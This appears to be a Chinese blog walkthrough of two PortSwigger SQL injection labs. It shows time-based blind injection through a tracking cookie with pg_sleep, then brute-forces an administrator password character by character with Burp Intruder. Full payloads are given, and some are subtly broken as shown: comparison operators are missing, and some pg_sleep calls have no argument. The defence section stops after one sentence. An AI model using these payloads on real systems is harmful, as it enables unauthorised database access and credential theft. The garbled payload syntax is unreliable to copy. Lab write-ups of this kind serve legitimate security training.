PortSwigger SQL注入LAB13 LAB14

发布时间:2026/7/22 11:31:23
PortSwigger SQL注入LAB13 LAB14 一、LAB131.1 分析题目LAB13描述我们先来看LAB13的题目他说应用使用了cookie进行了跟踪分析SQL的查询结果不仅不会返回而且服务器也不会传回任何错误。最终的目标只是利用SQL漏洞来造成十秒的延迟1.2 理解pg_sleep()函数通过题目中提示给出的SQL注入指南我们可以知道要实现10秒的时停砸瓦鲁多我们需要用到pg_sleep()这个函数那么我们就来了解一下这个函数吧。在SQL数据库中 pg_sleep() 函数可以在指定的时间内暂停当前数据库会话的执行他通过接收一个括号中的数值单位为秒而且这个数值可以是整数也可以是小数。那么我们要做的就很简单了:抓取数据、加入新的pg_sleep(second)函数1.3 完成LAB通过前几个LAB的训练我们可以很快地从Burpsuite中定位到我们所需要寻找的url并将其发送到Repeater中:Burp Suite 抓取结果1接下来我们只需要按照要求把函数插入就可以了’ || pg_sleep(10) –Burp Suite 抓取结果2插入并点击send之后页面提示lab已解决。LAB13完成【LAB 13 Payload】’ || pg_sleep(10) –二、LAB142.1 分析题目接下来我们来看LAB14的题目使用了cookie进行了跟踪分析SQL的查询结果不仅不会返回服务器也不会传回任何错误。最终的目标就回到了老样子从users表中获取administrator用户的密码并成功登录LAB14描述这种获取密码的题目都是同样的思路先使用LENGTH()来爆破密码位数接着再使用SUBSTRING()来逐位爆破。2.2 构造Payload我们先来对密码位数进行爆破核心思路就是如果密码位数等于某个数那就给他引入2秒的延迟然后通过Intruder来进行爆破于是我们得到如下Payload;SELECT CASE WHEN(LENGTH(password) 1) THEN pg_sleep(2) ELSE pg_sleep(0) END FROM users WHERE username ‘administrator’ –但是由于我们的Payload处在Cookie头下面为了让解析器在分号处不把我们的Payload截断这里我们需要把分号换成他的URL编码形式%3B:%3BSELECT CASE WHEN(LENGTH(password) 1) THEN pg_sleep(2) ELSE pg_sleep(0) END FROM users WHERE username ‘administrator’ –Burp Suite抓取结果3然后将他发送到Intruder中设置“1”作为变量范围我设在了0-25然后Start Attack开始攻击Burp Suite抓取结果4通过观察结果中的Response received值可以得到该LAB中密码的长度为20Burp Suite 抓取结果5既然得到密码位数了还是一样的道理我们把Payload稍作更改使用SUBSTRING()函数就可以通过Intruder来对密码进行逐位爆破了:%3BSELECT CASE WHEN(SUBSTRING(password,1,1) ‘a’) THEN pg_sleep(2) ELSE pg_sleep END FROM users WHERE username ‘administrator’ –Burp Suite 抓取结果6然后我们把它发送到Intruder里面攻击类型设置为Cluster bomb集束炸弹设置SUBSTRING中的第一个1和后面单引号中的a为变量并且对这两个变量进行配置然后Start Attack。Burp Suite抓取结果7等待攻击结束之后通过结果中的Response received值可以得到该LAB中逐位的密码值Burp Suite 抓取结果82.3 拼接密码接下来我们按照攻击结束之后的结果来将密码拼接起来就可以得到最终密码的值了。拼接密码由此我们可以得出最终的密码为lne2l1crku9s7koh86m82.4 验证结果那么现在我们就去网页中使用我们获得的密码来进行登陆:LAB解决登录成功LAB14解决。【LAB 14 Payload】%3BSELECT CASE WHEN(LENGTH(password) 1) THEN pg_sleep(2) ELSE pg_sleep END FROM users WHERE username ‘administrator’ –%3BSELECT CASE WHEN(SUBSTRING(password,1,1) ‘a’) THEN pg_sleep(2) ELSE pg_sleep END FROM users WHERE username ‘administrator’ –三、总结与防御建议总结LAB13 的核心是验证时间盲注是否成立重点在于通过构造延迟来确认 Cookie 参数存在 SQL 注入点。